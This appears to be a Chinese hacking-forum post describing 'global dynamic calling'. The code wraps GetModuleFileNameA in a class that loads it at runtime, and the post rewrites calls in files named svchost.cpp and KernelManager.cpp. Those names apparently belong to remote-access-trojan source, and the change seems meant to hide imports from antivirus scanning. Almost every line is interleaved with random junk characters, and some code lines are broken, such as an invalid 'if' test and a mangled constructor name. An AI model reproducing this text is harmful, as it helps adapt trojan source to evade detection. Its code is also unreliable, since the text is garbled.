[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记: k; F: j3 E3 m; g/ V& M2 o
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h) o9 _# \) x' r8 h' l
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4 d" U5 V- ^" CDTDY.h：% s3 i5 r; h2 J5 D

- n. O0 `9 W  L9 \& B#if _MSC_VER>1000
: e. g! \/ N: b, F7 G) \  N3 c2 r#pragma once9 B. i6 k/ ~. A) _
#endif //_MSC_VER>1000
3 W& f& O; X* h; y1 N9 H3 b& M#include<windows.h>
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9 x4 O9 o' B+ H$ c7 W" H* otypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
8 u: j7 O: L7 l. z$ |class DTDY! n# c5 i& @9 e- i+ P8 F) e
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public:) E7 {/ w: m3 |2 z5 Z; K0 c1 |
DTDY();
* X5 a1 U* h9 H3 ^# e0 d1 Gvirtual ~DTDY();
  K/ F* ?3 O6 y' J0 S% fpublic:( x. a, f' n  H/ H" c# F
static pGetModuleFileNameA MyGetModuleFileName;
6 u( J1 _1 n1 y/ T/ {static BOOL FunInitiallization();3 z% x, L: E" v2 u- _( A5 J: F
};; g+ A% j4 S' Z4 n: b- W; b+ D
#endif- |) n: d: _) o4 \
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DTDY.cpp:
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#include "DTDY.h"& B* C3 N3 S( J5 N; W0 n6 Y& W
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
+ h  l& x' [8 v% h5 {2 vDTDY:TDY()
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DTDY::~DTDY()1 c  B  F3 C2 I# \% x
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}
9 T9 ~: E& n+ _. [7 C$ r8 _BOOL DTDY::FunInitiallization()
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HMODULE hModule=LoadLibrary("kernel32.dll");
: a5 p8 {+ h' u9 _# xMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
4 e* q6 n- P- E7 F4 Vif(!MyGetModuleFileName=) return FALSE;; d6 ^- R% k& Y
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return TRUE;
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svchost.cpp:
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3 y) d' a  v9 t( R, ~7 ~#include "DTDY.h"
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9 V" ]$ b. b' a1 yBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)/ B. c- q5 o' X: r
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switch(ul_reason_for_call)4 d; A' Z4 R5 {' A
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case DLL_PROCESS_ATTACH:
9 i; ], d3 C/ P% X8 L. H6 {if(!DTDY::FunInitiallization()) return FALSE;
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% \! E( N& ]" i1 E. C2 X( nbreak;
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6 f: z9 Z; A. WGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def# M; B0 s/ Q5 `! D# b9 C
改写为5 I# J  f1 A6 |3 D
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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+ @% T6 C. q, {% r$ [% D#include "../DTDY.h"
0 @8 [1 L3 |! K9 {2 g' ?+ CGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));: }' ~! Q+ M5 M6 Q0 N2 v6 p
改写为9 Q8 Y% L& J3 A8 f6 q; A
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));0 W  R$ [. N. w9 l5 v
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